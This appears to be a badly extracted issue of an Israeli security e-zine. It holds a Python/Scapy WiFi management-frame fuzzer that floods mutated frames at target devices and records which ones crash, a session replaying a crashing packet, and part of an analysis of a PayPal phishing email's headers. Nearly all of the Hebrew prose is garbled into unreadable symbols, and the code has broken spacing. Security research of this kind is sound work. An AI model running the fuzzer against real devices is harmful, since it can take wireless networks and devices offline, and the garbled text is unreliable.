>>> import pickle  

>>> fp = open("10 - 0- 0- 138.pickle")  

>>> pck = pickle.load(fp)  

>>> pay_list = pickle.load(fp)  

>>> conf.iface="wlan0"  

>>> for i in pay_list:  

...     pck.payload.payload=i  

...     sendp(pck)  

 

Sent 1 packets.  

.  

Sent 1 packets.  

.  

Sent 1 packets.  

 

.  

.  

  

˪ ˠˮ˧˲ ˰˴˟ˮ ˢ˥˧˪˷˪ ˪˧˟˵ˬ˟-10.0.0.138 

http://bitbucket.org/haypo/fusil/downloads
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debian - abc:# ping 10.0.0.138  

64 bytes from 10.0.0.138: icmp_seq=34 ttl=64 time=0.513 ms  

64 bytes from 10.0.0.138: icmp_seq=35 ttl=64 time=0.512 ms  

64 bytes from 10.0.0.138: icmp_seq=36 ttl=64 time=0.508 ms  

64 bytes from 10.0.0.138: icmp_seq=37 ttl=64 time=0.509 ms  

64 bytes from 10.0.0.13 8: icmp_seq=38 ttl=64 time=0.518 ms  

ping: sendmsg: Network is unreachable  

ping: sendmsg: Network is unreachable  

 

 

 ˫˧˞ˣ˶ ˫˧ˣ˯ˬ ˟˪˷˟ ˧˩˟˧ˠˢ˪ ˵˧˯˲ˬ ˶˧˷˩ˬˢ , ˶˧˷˩ˬˢ ˫˞ ˢ˥˧˪˷ ˪˩ ˶˥˞˪ ˵ˣˡ˟˪ ˢˤ ˶˞˷ˮ˷ ˢˬ ˪˩

˧˥. 

˫˩ˬ˴˰˟ ˸ˣ˯ˮ˪ ˫˧ˮˬˤˣˬ ˫˸˞ ,˪ ˣ˰˧ˡˣ˸ ˫˞ ˥ˬ˷˞ ˧ˣˢ˷ˬ ˫˩˪ ˯˶˵ ˫˞ , ˫ˣ˶ˠ˪ ˧˸˥˪˴ˢ ˢ˩ ˡ˰˧ˮ˷˪ 

˯ˣ˶˵˪ ˫˧˶˧˷˩ˬ. 

 ˱˶ˣ˴ˬ˫˩˸˞ˮˢ˪ ˶ˤ˞˲ˢ ˪˷ ˡˣ˵ˢ: 

#! /bin/env python  

# 2010 Jan  

# Simple  script for 802.11 Management frames fuzzing.  

# Using libs: Scapy,Fusil  

# 

# Usage  

# ./wififuzz.py <hosts to ping>  

# Ex:  

# ./wififuzz.py 192.168.0.1,192.168.0.4  

# output file will be "192.168.0.1.pickle" or/and 192.168.0.4  

# The crushing packet will be in "192.168.0.1.pickle"  

# Written by AvivB, springsec _{At}_ gmail.com  

 

#This program is free software; you can redistribute it and/or modify  

# it under the terms of the GNU General Public License as published by   

# the Free Software Foundation; either v ersion 2 of the License, or    

# (at your option) any later version.                                   

# This program is distributed in the hope that it will be useful,       

# but WITHOUT ANY WARRANTY; without even the implied warranty of        

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the      

# GNU General Public License for more details.                         

# You should have received a copy of the GNU General Public License       

# along with this program; if not, write to the                         

# Free Software Foundation, Inc.,                                       

# 59 Temple Place -  Suite 330, Boston, MA  02111 - 1307, USA.            
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import sys  

import os  

import time  

import fusil  

from fusil.bytes_generator import BytesGenerator, 

PRINTABLE_ASCII,ASCII0  

from scapy import *  

import getopt, sys  

import pickle  

 

lan = "eth0"             

wlan = "wlan0"          # WLAN adapter  

 

victims=sys.argv[1].split(',')  

conf.i face="wlan0"  

 

pkts=[]  

output_counter=0  

 

def check_crushed(pck,payloads_list):  

        conf.iface="eth0"  

        remove_list=[]   

        for i in victims:  

                res = 

sr(IP(dst=i)/ICMP(),timeout=30,iface='eth0',verbose=0)  

                if ( len (res[1]) > 0):                           

# check unanswered  

                        print "%s Crushed?" % i  

                        filename = i.replace('.',' - ')+'.pickle'  

                        #if ( os.path.isfile(filename) == True):  

                        fp = open(i.replace('.',' - ')+'.pickle',"w")             

# save the packet  

                        pickle.dump(pck,fp)  

                        pickle.dump(payloads_list,fp)  

                        #pickle.dump(payload_index,fp)  

                        remove_list+=[i]  

                        fp.close()  

        conf.iface="wlan0"  

        for i in remove_list:  

                victims.remove(i)  

                 

 

def gen_and_send(pd,pck,datagen,malformed):  

        pd_list = []  

        for i in range(0,50):  

                pd.info = datagen.createValue()  

                if not malformed:  

                        pd.len = len(pd.info)  

                else:  

                        pd.len = fusil.bytes_generator.randint(0,255)  

                sendp(pck,verbose=0 )  

                #time.sleep(0.001)  
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                pd_list+=[copy.deepcopy(pd)]  

        check_crushed(pck,pd_list)  

         

def fuzzit(pd,pck):  

        #print "Start Fuzzing"  

        s_len = pd.len  

        s_info = pd.info  

        datagen = BytesGenerato r(800, 1100, PRINTABLE_ASCII)                    

# heavy packets  

        gen_and_send(pd,pck,datagen,0)  

        datagen = BytesGenerator(800, 1100, ASCII0)                     

# heavy packets  

        gen_and_send(pd,pck,datagen,0)  

        datagen = BytesGe nerator(1, 255, PRINTABLE_ASCII)                       

# regualar checks  

        gen_and_send(pd,pck,datagen,0)  

        datagen = BytesGenerator(1, 255, ASCII0)                        

# regualar checks  

        gen_and_send(pd,pck,datagen,0)  

        datagen  = BytesGenerator(1, 255, PRINTABLE_ASCII)  

        gen_and_send(pd,pck,datagen,1)          

# malformed packets  

        datagen = BytesGenerator(1, 255, ASCII0)                 

        gen_and_send(pd,pck,datagen,1)          

# malformed packets  

        pd.l en = s_len  

        pd.info = s_info  

 

def start_fuzz(pck,junk):  

        #print pck.summary  

        start_pd  = pck.payload.payload         

#  first section to fuzz  

        pd = start_pd  

        dcopy = copy.deepcopy(pck)  

        while pd != NoPayload():  

                pd_save = copy.deepcopy(pd)  

                fuzzit(pd,pck)  

                pd = copy.deepcopy(pd_save)  

                pd = pd.payload  

 

 

 

# Managment Fuzzing  

while True:  

        count = 0  

        already_in = 0  

        while True:  

                d = sniff(count=1, iface = "wlan0")      

# Sniff packet  

                if d[0].type == 0 and d[0].subtype in xrange(0,5) and 

d[0].payload.payload != NoPayload() :              

# only managment for now  
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                        already_in = 0  

                        for i in pkts:  

                                if i == d[0].mysummary():  

                                        already_in = 1  

                        if already_in == 0:  

                                print "%s" % (d[0].mysummary())  

                                t=(d[0],None)  

                                

pkts.insert(0,copy.deepcopy(d[0].mysummary()))  

                                #thread.start_new_thread(start_fuzz,t)  

                                start_fuzz(d[0],'junk')  

                                count += 1  

 

˫ˣ˩˧˯ 

ˢˤ ˶ˬ˞ˬ˟ ˣˮˠ˴ˢ  ˪˷ ˫˧˶˟˧˶ˡ˟ ˶ˣ˯˶˧˲ ˧˩˧˪ˢ˸˟ ˫˧˧˶˷˲˞ ˢ˥˦˟˞ ˧ˬˠ˲˪ ˸ˣ˞ˬˠˣˡ ˢˬ˩WiFi,  ˸˞ˣ

˫˸ˣ˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˢ˟ ˢ˟˶ˢ ˸ˣ˪˵ˢ. ˣˮˬˠˡˢ ˟ ˶˟ˣˡˬ ˫˞˷-PC, ˫˧˶˵ˬ˟ ˫˧˟˶  ˡˣ˵ ˸˞ ˣˮ˪ ˷˧ˢ ˶ˣ˵ˬ

ˢ˷˪ˣ˥ˢ ˸˞˧˴ˬ˟ ˣˮ˧˪˰ ˪˵ˬ˷ . ˭˩˞ ˫˞ˣˮ˞˴ˬ˷˪ˣ˥ˢ ˸˞ s ˸˪ˣ˰˲ ˰˴˟˪ ˪˩ˣˮ˪ˮ˶˵˟ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ,

˸˵˸˶ˬ ˨˞ ˢ˦ˣ˷˲ ˞˪ ˢ˩˞˪ˬ.  ˟ ˶˟ˣˡˬˣ ˢˡ˧ˬ˟˫˧˶˥˞ ˫˧˶˧˷˩ˬ ,ˣˮ˪˷ ˶˦ˣ˞˶ˢ ˞ˬˠˣˡ˪,  ˟˴ˬˢ ˫˷

 ˰ˣ˶ˠ ˶˸ˣ˧ˡˣ˵ˢ ˪˷ ˢ˥˦˟˞ˢ ˸ˮ˧˥˟ˬ ,ˢ ˞ˣˢ ˭ˣ˶˯˥ˢ˶ˣ˯˥ˬ  ˶˵˥ˬ ˧˪˩˟ˣ ˰ˡ˧˟)˧l-ˢˬˣˡ˩ˣ ˫˧˶ˠ˞˟ (

˶˧˷˩ˬ˟ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ˟ ˣˮ˪ ˣ˰˧˯˧˷. ˭˩ ˧˲ ˪˰ ˱˞ ,˶˸ˣ˧ˬ  ˭˧˧˴˪ ˧˩ ˢ˪ˣ˰ˬ ˸˧ˠ˶˦˯˞ ˢ˶˦ˬ ˢˣˣˢˬ ˶˦ˣ˞˶ˢ

ˣˮ˧ˬ˧˟ ˸ˣ˲˧˵˸˪ ,ˢ˴˵ˢ ˸ˣˡˬ˰ˬ ˶˸ˣ˧ ˫˧˸˧˰˪ , ˣ ˢˡ˧ˬ˟˪ ˶˟˰ˬ ˞˧ˢ˷ ˸˪ˣ˩˧˟ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞-DDoS 

)˸˧˷ˣˬ˧˷ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˢˬ˴˰˟ ˞˧ˢ˷, ˸ˣ˶˥˞ ˸ˣ˲˧˵˸ ˫˰ ˟ˣ˪˧˷˟ ˶˵˧˰˟(. 

 

˭˩ ˣˬ˩ ,ˢ ˣˮˠ˴  ˶ˣ˸˧˞ ˸˩˞˪ˬ˟ ˣ˪˷ ˢ˟˶ˢ ˸˪˰ˣ˸ˢ ˸˞ˣ ˶ˤ˞˲ ˪˷ ˥ˣ˸˧˲ ˸ˣ˧ˠˣ˪ˮ˩˦ ˶ˣ˟˰ ˸ˣ˷˪ˣ˥ˢ

 ˸˧˯˥˧ ˸ˣ˷ˡ˥)˸ˮ˥ˣ˟ ˭˧˰ ˭ˢ˧˪˰ ˢ˶˟˰ ˞˪ ˭˧˧ˡ˰˷ ˣ˪˞˩.( ˷ ˭˟ˣˬ˩˭˸˧ˮ  ˨˧˷ˬˢ˪ˣ ˪˩ˣ˧˷ ˨˩  ˣ˸ˣ˞ ˥˸˲˪

 ˨˧˪ˢ˸ ˨ˣ˸˟ ˫ˠ ˱ˣ˵˸˪ ˪˷ˬ˪Handshake, ˩ ˶˷˞˸ˬ˧ˣ˯ˬ ˢ˪˧˟˥˪ ˭˧˸ˬˬ ˶˧˷˩ˬˢ, ˷ ˥˪˷˸ˣ ˢˡ˧ˬ˟ ˭

˸ˣ˞ ˶˯˶˲˪ ˪˧˥˸ˢ˪ ˧˪˟ˬ ˢˮˬˬ ˫˪˰˸ˢ˪ ˦ˣ˷˲ ˣ˪ ˫ˣ˶ˠ˸ ˶˸ˣ˧ ˶˥ˣ˞ˬ.s 

 

 ˧˪˞˶˷˧ˢ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˭˧ˤˠˬ˪ ˸ˣˮˣ˸ˮ ˸ˣ˟˶ ˢˡˣ˸Digital Whisper  ˸˞ ˫˯˶˲˪ˣ ˟ˣ˸˩˪ ˧˸ˣ˞ ˡˡˣ˰˷

ˢ˪˧ˢ˵ˢ ˸˟ˣ˦˪ ˶˵˥ˬˢ. 

 
ˢ˩˶˟˟, 
˟˧˟˞ ˧˪˧ˤ˶˟ )sNiGhT(, 

˸ˣ˟ˣˠ˸˪ ,˸ˣ˶˞ˢ ˸ˣ˶˰ˢˣ :springsec@gmail.com 

 

 

http://www.digitalwhisper.co.il/
mailto:springsec@gmail.com
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-˪1337 ˡ˟˪˟! 

----- BEGIN PGP PUBLIC KEY BLOCK -----  

Version: GnuPG v2.0.14 (MingW32)  

 

mQENBEw83rgBCAC4XRhVD21FM81pC2V0cryyKzGkg+n7bLG+dGx1B6jvlQHdUt8Z  

y8pYUR6MwGRlWgJw99XYaihZnh11DlZ9ZiLvhzLohr54gv+K0Nuvxsw7LCSOHSgJ  

II3XdSPxWIBCZOZ4qFJ Mrz9cF+ggjzmRdDXHsLB78gDyGgNEMQHCq2WTMi2rhp/F 

jssdhHYbuUChMrghq8a/BMMy5LHvH1qlZ/3xfDEfUTEi8qwJOg6qW4fFizxpUvAd  

eV3XJx6STP5xN/seA5Sn3Wx38nwIULUhmwO7vjLbscs+X5k3m7F9uHf8XH4uq53N  

By7q61h5hqnlyHm3t+tLdZbb7UIDnLHfcNAnABEBAAG0HHNwcmluZyA8c3ByaW5n  

c2VjQGdtYWlsLmN vbT6JATgEEwECACIFAkw83rgCGwMGCwkIBwMCBhUIAgkKCwQW 

AgMBAh4BAheAAAoJED60BaDA8tjqtgYH/34luoQbAoRcAkCQGp02/8m+u8fOVFSG  

JWjT4+Ggr4RUvlYZYJoLuR43Yt0x3y6sayF6VswYWSC4IePSnCU6ruhSwXB20Szk  

3mBMf+8BnB/0hMEeN4laI+x9qRb1ZF5JWh9fdWYZaBYPuGuS1GPgBJv2pi2tPiiV  

cTIttb478g1 /wk17SxUCQLqhrQZqKucEHxZrbbbQ5BZJXf/5cjFiLSIcWc37/cI0  

Tm2pa+tMdtnSrjd4nzpPUAMjdb9oeu8vKrfnCOjpqWG1k3rQWyJWtEjDY8PbaxH5  

U1mxRc/NBJloQeGUG+PHMtdTo+I/iOzJfaEFGfRjyxltClweo037Kju5AQ0ETDze  

uAEIANuf6WVJDfX3ZAoapN8B07d67/C2ngEqQywvwMLt1xdhbL9B3/TkJ/IISStH  

B3ASx2Av3FyW66aVZt/WZnJ+h9vb2D5ehP81eb7JibnjESx1H3ZUsRmw2N9nQSB2  

Xbb8n+S9XHj+Ub0pI8doq0Ic0GqR9iDcXOrfYr4qfgkuceIafJCLtGftXn+Rz3bY  

TnfHkxSQUY+IeialGPkgjA0BTxUkOf8NeEotweYYdDb0PS8bkuz2AZI9BBi7vRzE  

xYxwPEITTWvIKFPwTtfO9/ZTpLJR/aL0c+rRghM8/pvSlNbeApW2tlDb3x7Sm1wS  

qO2b/iM24q5rwseKiETFzgskjH0AEQEAAYkBHwQYAQIACQUCTDzeuAIbDAAKCRA+ 

tAWgwPLY6qlmB/sHtnyE4Edzd1Z+MFtRxhPNRz6lPyrlo6Znw4Lxq0/Q46Prtk43  

JJNOPYo7uT1zn+S9j5EWRkcMVIN0XzQSjkRugepjUVQgnlx1nfOxFzNUZ3rg9Pmw  

y7IZD448mREn0qiSK+GX9sZReHEaV4hcOXAgt1pDUEI6rwLYfgAiohsGGlk4746V  

8VKsrW7HQn9wRdEnNKC25/RUzjI0ANuB6496qqMkEa6HMfMxi0IbdrZbQnMJCqLN  

qsdr6y6IvH+BZvGm0bLdcKYO6uejlbnBycK0znsepylFtcOHNudUFe3fnZDQNKji  

Jc1vUfJ1o38+g9MJFli8/ZSF1ZwtiO2Ojshf  

=dF87  

----- END PGP PUBLIC KEY BLOCK-----  
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˸ˣ˧˪˦˧ˠ˧ˡ ˸ˣ˧˞˶ ˪˷ ˭˸ˣˮ˧ˬ˞ 
˸˞ˬ ˭ˢ˩ ˶ˬˣ˰ 

 

ˢˬˡ˵ˢ 

 

˭˧ˤˠˬˢ ˪˷ ˧˶˧˷˰ˢ ˭ˣ˧˪ˠ˟ , ˟˸˩ˣ˰" ˭˸ˮˣˢ˧ ˡ˶ˠˮ˧˪˵  ˪˰"˵˸˰ˢˣ ˵˸ˣ˰ ˶ˣ˵ˬ", ˪˰ ˶˲˧˯ˣ ˸ˣ˧˰˟ˢ 

)˫˧˧˷˵ˢˣ (˟˷˥ˬ ˸ˣ˧˞˶ ˫˰ ˸ˣˡˡˣˬ˸ˢ˟ ˦˲˷ˬˢ ˧˸˟ ˧ˮ˲˟ ˫˧ˡˬˣ˰ˢ .ˣ˰" ˸˧˵ˣ˥ ˸ˣ˯˥˧˧˸ˢ ˭˸ˮ ˶ˠˮ˧˪˵ ˡ

˟˷˥ˬˢ ˸ˣ˧˞˶ ˞˷ˣˮ˪ ˸˧˦˲˷ˬˣ , ˸ˣ˧˞˶ ˧ˠˣ˯ ˶˲˯ˬ ˪˷ ˸˧ˮ˩˦ ˢ˶˧˵˯˟ ˶ˬ˞ˬˢ ˸˞ ˫˧˪˷ˢ˪ ˢ˯ˮ˞ ˭˞˩

˦˲˷ˬˢ ˧˸˟ ˧ˮ˲˟ ˟ˣ˶˪ ˸ˣ˞˟ˣˬˢ ˸ˣ˧˪˦˧ˠ˧ˡ ,˞ˤ˩˷ ˢ˧˞˶ ˪˷ ˧ˣˮ˧˷ ˣ˞ ˱ˣ˧ˤ ˸ˣˢˤ˪ ˭˸˧ˮ ˡ˴˧˩ˣ.˸ 

 

˧ˮˣ˶˦˵˪˞ ˶˞ˣˡ ˸ˣ˟ˣ˸˩˸ 

 

˞ˣˡ ˸ˣ˟ˣ˸˩˸ ˪˰ ˫˟ˣ˶˟ ˫˧˯˯ˣ˟ˬˢ ˫˧˵˧˸ ˦˲˷ˬˢ ˧˸˟˪ ˫˧˰˧ˠˬ ˫˰˲ ˞˪"˧ˮˣˠ˶˞ ˪ , ˸˴˲ˢ˟ ˶˟ˣˡˬ ˫˞

˫˧˧˶˥˯ˬ ˸ˣˡˣ˯ ,˸ˣ˴ˬ˷ˢ ,ˢ˞˪ˢ ˭˩ˣ ˫˧˩ˬ˯ˬ ˸˶˟˰ˢ . ˸˞ ˞ˣ˶˵˪ ˸ˬ˧ˣ˯ˬ ˸ˣ˩ˤ ˡ˧˟˰ˬ˪ ˧˩ ˶ˣ˩ˤ˪ ˟ˣ˷˥

 ˧˷˧˞ˢ ˶˞ˣˡˢ)ˢ˶˟˥ˢ ˧˸˶˷˟ ˢ˟˧˸ˢ (ˡ˟ˣ˰ˢ ˪˷ ,˪˰-ˢ ˶˸˞˪ ˸ˮˬ ˯˶˦ˮ˧˞˟ ˢ˰˧ˠ˲ ˣ˞ ˫˧ˤˣ˥ ˪˷ ˢ˶˲

ˢ˶˟˥ˢ ,ˢ˶˟˥ˢ ˪˷ ˶˞ˣˡˢ ˸˟˧˸ ˨˶ˡ ˢ˷˰ˮ ˶˟ˡˢ˷ ˡˣ˰ ˪˩ .˸˞ˤ ˸ˬˣ˰˪ , ˸˷˶˟ ˫˧˷ˬ˸˷ˬ ˫˞ ˫ˠ

 ˸˧˦˶˲ˢ ˶˞ˣˡˢ ˸˟˧˸˪ ˸˷ˠ˪ ˸ˮˬ ˪˰ ˫˧ˡ˶˷ˬˢ)ˢ ˸˟˧˸-Gmail ˞ˬˠˣˡ˪ ˫˩˪˷ ( ˸ˣ˩ˤ ˭˧˞ ˡ˧˟˰ˬ˪

 ˸˶˟ˣ˰ˢ ˞ˬ˯˧˯ˢ ˸˞ ˡ˰˸˪˧˸˟ ˦ˣ˦˧˥˪ ˸˞ˤ ˪˴ˮ˪ˣ ˫˧ˡ˶˷ˬˢ ˦ˮ˶˦ˮ˧˞ˢ ˸˷˶˟˟˫˩˸ ˸˧˦˶˲ˢ . ˪˰ ˡˣ˰

 ˪˷ ˠˣ˪˟˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˞˷ˣˮˢˣ˰"˶ˠˮ˧˪˵ ˡ. 

˸˧ˬ˧˦˧ˠ˪ ˢ˶ˣ˴˟ ˢ˲˯˞ˮ˷ ˸˟ˣ˸˩˸ ˢ˰˧ˠˬ ˶˷˞˩ˣ ˫˞ ,ˡ˥ˣ˷ˬ ˧˸˪˟ ˧˷˧˪˷ ˫˶ˣˠ ˧ˡ˧ ˪˰ , ˶˲˯ˬ ˭ˮ˷˧

˦˲˷ˬˢ ˸˧˟˟ ˣ˪˞˩˷ ˸ˣ˧˞˶ ˷˧ˠˢ˪ ˭˸˧ˮ ˭ˢ˟ ˫˧˩˶ˡ ,˸ˣ˥˲ ˭˵˪˥ˣ ˸ˣ˟ˣ˦ ˭˵˪˥. 

˥˞˶˞ˣˡˢ ˦˧˶˲ ˪˷ ˢ˦ˣ˷˲ ˢ˯˲ˡˢ ˰˴˟˪ ˞˧ˢ ˫˧˩˶ˡˢ ˸ , ˫˧ˢˤˬ ˪˩ ˞˪˪ ˡ˟˪˟ ˭˩ˣ˸ˢ ˸˞ ˪˪ˣ˩˷ ˢˬ

˫ˢ˷˪˩ ˫˧˧˪˦˧ˠ˧ˡ .˫˧˪˧˪ˬ˸ ˡ˟˰ˬ ˪˩ ˸ˣ˰˴ˬ˞˟ ˰˴˟˪ ˭˸˧ˮ ˣˤ˩˷ ˢ˯˲ˡˢ , ˸ˣˮ˧ˬ˞ ˫ˣ˷ ˵˲˯ˬ ˞˪˷ ˢˬ

ˣˤ˩˷ ˢ˧˞˶˪ .ˣˤ ˢ˯˲ˡˢ˪ , ˶˞ˣˡˢ ˶˟ˡ ˸ˣ˶˸ˣ˩ ˪˷ ˢ˯˲ˡˢ ˱˧˯ˣˢ˪ ˭˸˧ˮ)Mail Headers( ,˰ˡ˧ˬ ˸ˣ˵˲˯ˬˢ 

˶˞ˣˡˢ ˶˟ˡ ˪˷ ˢ˧˶ˣ˦˯˧ˢˢ ˪˰ ˧ˮ˩˦ ,˶˴ˣˮ ˢ˲˧˞ ,˶˟˰ ˭˞˪ , ˨˧˞ˣ ˧˸ˬ)˨˷ˬˢ˟ ˟˥˶ˣ˧ ˨˩ ˪˰ .( ˢˤ ˨˪ˢˬ

˧˶ˣ˵ˬˢ ˯˲ˡˢ˪ ˸ˣˮ˧ˬ˞ ˱˧˯ˣˬ ,˸ˣ˦˷˲˟ ˨ˣ˶˰˪ ˭˸˧ˮ ˣˤ ˢ˯˲ˡˢ ˸˞˷ ˫ˠˣ ˶˥˞ˬ ˨˞ ,ˢ˩ˣˬˮ ˢ˸ˣˮ˧ˬ˞. 

˶˥˞ˬ ˸ˣ˶˸ˣ˩ˣ ˶˞ˣˡˢ ˸ˣ˶˴ˣˮ ˶ˣ˵ˬ˟ ˪˰ ˧ˡ˧ ˧˸˶˷ ˶˞ˣˡˢ ˶˷˞ ˣ˪˲˧˦ ˸˶˧˯ˬ˟ ˢ˰ˡˣˢˢ ,˭ˢ ˬ˸ˣ˲˧˯ˣ ˪˪˷ 

˫˧ˮ˸˷ˬ ˫˧˧˸˟˧˟˯ ˫˧ˡ˧˰ˬˢ ˪˰ ˢˬˣ˧˵ ˪˷ ˢ˰ˡˣˢˢ ,˱˯ˣˮ˟ ˧ˣ˟˧ˠ˪ ˨˧˶˞˸ˢ ˢ˰˷ˢˣ ˢ˟˷ ˢ˶˴ˣˮ ˢ˰˧ˠˢˣ 

ˢˡ˰˧˪ .˸ˣ˧ˢ ˸ˣ˶˸ˣ˩ˣ ˣ˪˞ ˸ˣ˶˴ˣˮ ˪˰ ˧ˡ˧ ˸˶˷ˢ ,˪˩ ˷ˬ˸˷ˬ ˦ˣ˷˲ ,˶˥˞˪ ˢˮ˟ˢ ˪˷ ˢˮ˟ˬ ˸ˣ˶˸ˣ˩ˢ ,

˪ˣ˩˧ ˸ˬ˞˪ ˸˞ ˥˪ˣ˷ ˢ˰ˡˣˢˢ )˪˷ˬ˪ ˫˧˵ˮ˟ ˧ˮ˸ˣˮˣ ˸ˣ˶˧˷ ˫˧˶˥˞ (˰ˮˬ˧ˢ˪ˣ ˪ˣ˲˧˪ˬ ˥˲˟ ˸ˣ˧ˬ˶˸˪ 

Phishing. 

http://l.omerc.net/home
http://l.omerc.net/klinger
http://l.omerc.net/dw103jk
http://l.omerc.net/jkemail
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˞ˬˠˣˡ˪ , ˢ˥˪˷ˮ˷ ˢ˰ˡˣˢ ˪˷ ˸ˣ˶˸ˣ˩ˢ ˢˮ˟ˬ ˸˞ ˭˞˩ ˭˥˟ˮ)˪ˣ˩˧˟˩ ( ˶˸˞ˬPayPal: 

 

 

˶˞ˣˡˢ ˸ˣ˶˸ˣ˩: 

4.  Received: from mx02.3334444.net (10.10.50.250) by HUBCAS01.4hosted.local 

(10.10.50.12) with Microsoft SMTP Server (TLS) id 8.1.393.1; Fri, 16 Jul 2010  

22:05:47 +0300 

4. 

 

Received: from mybox.redx.co.il (81.218.228.46) by mx02.3334444.net (81.218.228.52) 

with Microsoft SMTP Server id 8.1.393.1; Fri, 16 Jul 2010  22:05:48 +0300 3. 

 

Received: from sosgraphics.com ([75.77.47.106]) by mybox.redx.c o.il ; Fri, 16  Jul 

2010 22:04:30 +0300 2. 

 

Received: from User ([68.216.158.98] RDNS failed) by sosgraphics.com with Microsoft 

SMTPSVC(6.0.3790.4675); Fri, 16 Jul 2010 15:02:24 - 0400 1. 
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From: "service@paypal.com" <PayPal> 

Importance: high 

X- Priority: 1 

Date: Fri, 16 Jul 2010 22:02:18 +0300 

Subject: PayPal Flagged Account 

Thread - Topic: PayPal Flagged Account 

Thread - Index: AcslGdphpzVwPeeLSRiss2Bw0e3hJQ== 

Message - ID: <FP - SERVEREFzotSkrpE000010cb@sosgraphics.com> 

X- MS- Exchange - Organization - AuthAs: Anonymou s 

X- MS- Exchange - Organization - AuthSource: EDGE01.4HOSTED.DMZ 

X- MS- Has- Attach: yes 

X- Message - Flag: Follow up 

Reply - By: Sat, 17 Jul 2010 14:00:00 +0300 

X- MS- TNEF- Correlator: 

x- originalarrivaltime: 16 Jul 2010 19:02:24.0530 (UTC) 

FILETIME=[6D1E3F20:01CB2519] 

r eceived - spf: Fail (EDGE01.4HOSTED.DMZ: domain of PayPal does not designate 

81.218.228.46 as permitted sender) receiver=EDGE01.4HOSTED.DMZ; client -

ip=81.218.228.46; helo=mybox.redx.co.il; 

x- hmailserver - loopcount: 2 

x- hmailserver - spam: YES 

x- hmailserver - reas on- score: 7 

x- hmailserver - reason - 2: Rejected by Uceprotect - 1! -  (Score: 5) 

x- hmailserver - reason - 1: The host name specified in HELO does not match IP address. -  

(Score: 2) 

Content - Type: multipart/mixed; 

boundary="_002_FPSERVEREFzotSkrpE000010cbsosgraphicsco m_" 

MIME- Version: 1.0 

 

.0 

 

˭˩ˣ˸˪ ˷ˠ˧ˮ˷ ˧ˮ˲˪ ,˸ˣ˶ˢ˟ˢ ˶˲˯ˬ : ˧ˡ˧˪˰ ˢ˸˷˰ˮ ˫˧ˮˣ˷ˢ ˫˧˵˪˥ˢ ˭˧˟ ˫˧˶ˣ˲˯ˬˢˣ ˫˧˥ˣˣ˶ˢ ˸˲˯ˣˢ

˭˩ˣ˸ˢ ˸˞ ˞ˣ˶˵˪ ˥ˣˮˣ ˪˵ ˢ˧ˢ˧˷ ˧ˡ˩ ˟˸ˣ˩ˢ .˱˯ˣˮ˟ ,˪˰ ˭˩ˡ˰˸ˬ ˭˩ˣ˸ˢ˷ ˟˪ ˫˧˷˪ ˷˧- ˶˞ˣˡˢ ˧˸˶˷ ˧ˡ˧

˫ˢ˧ˮ˧˟ ˶˟ˣ˰ ˶˞ˣˡˢ˷ ˫˧ˮˣ˷ˢ .˸ˬ˧˸˥ˣ ˪˟˵ˬˢ ˸˶˷ˢ ˫˷ ˸˲˯ˣˢ  ˢ˪˰ˬ˪ˬ ˸˧˷˰ˮ ˭ˬˤˢ) ˫˧˵˪˥1-4( ,

˭ˬˤ ˸ˬ˧˸˥˪ ˶˟˰ˬ ˸˲˯ˣˮ ˸˶˸ˣ˩ ˱˧˯ˣˢ˪ ˨˶ˣ˴ ˷˧ˣ ˢˡ˧ˬ˟ˣ , ˱ˡˢ ˱ˣ˯˟ ˢ˷˰ˮ ˶˟ˡˢ) ˵˪˥0.( 

˭ˬˤˢ ˸ˣˬ˧˸˥ ˫˰ ˪˧˥˸ˮ- ˣˤ˩˷ ˢˬ˧˸˥ ˪˩ , ˸ˣˡˣ˞ ˫˧˦˶˲ˢ ˸˞ ˢ˪˧˩ˬˣ ˪˟˵ˬˢ ˸˶˷ˢ ˧ˡ˧ ˪˰ ˸˶˴ˣˮ

ˢ˧˪˞ ˢ˸ˮ˲˷ ˸ˣ˷˧ˢ .ˣˬ˴˰ ˪˷ ˫˧˦˶˲ˢ ˪˰ ˦˧˪˥ˢ˪ ˪ˣ˩˧ ˡ˥˞ ˪˩ˣ ˶˥˞ˬ )˫˷ , ˸˟ˣ˸˩IP ,ˣ˞˯˶ˠ ˸ ˸˶˷

ˢ˞˪ˢ ˭˩ˣ( , ˫˧˦˶˲ˢ ˪˩ ˸˞ ˸ˬ˞˪ ˸ˣ˶˷˲˞ ˣˮ˪ ˭˸ˣˮ ˣ˧ˮ˲˪˷ ˢˤ ˪˰ ˫ˠ ˥ˣˣˡˬ ˡ˥˞ ˪˩ ˭˞˩˷ ˢˡ˟ˣ˰ˢ ˫˴˰

ˣˮ˧ˮ˲˟ ˫˧ˠ˴ˣˬ˷ ,˸ˣ˧ˣˬ˧˞˸ ˧˞ ˞ˣ˴ˬ˪ˣ . ˣ˪˞ ˸ˣ˶˸ˣ˩ ˶ˣ˴˧˧˪ ˦˶ˡˮ˦˯ ˷˧˷ ˸ˣ˶ˬ˪ ˧˩ ˶ˣ˩ˤ˪ ˟ˣ˷˥

)RFC2821 ,˰˯ ˱˧3( , ˸˶˸ˣ˩ˢ ˸˶ˣ˷ ˨ˣ˸˟ ˰ˡ˧ˬˢ ˧˦˶˲ ˪˷ ˫˧ˮˣ˷ ˫˧ˬˣ˵˧ˬ˟ ˪˵˸ˮ ˫˧˸˧˰˪Received. 

by sosgraphics.com  from User ([68.216.158.98] RDNS failed)Received: 

-Fri, 16 Jul 2010 15:02:24 ; with Microsoft SMTPSVC(6.0.3790.4675)

0400 

 

 

http://l.omerc.net/rfc2821
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˫˧˵˪˥ ˢ˷ˣ˪˷˪ ˸˵˪ˣ˥ˬ ˸˶˸ˣ˩ˢ: 

1. from ï ˧˴ˬ ˣ˸ˣˢˤ ˸˞ ˭˧)˫˥˸ˬˢ ˫˷ ( ˶˞ˣˡˢ ˸˶˷˪ ˶˟˥˸ˢ˷ ˧ˬ ˪˷)˪˰ ˭ˤˣˬ- ˣ˸ˣ˞ ˧ˡ˧

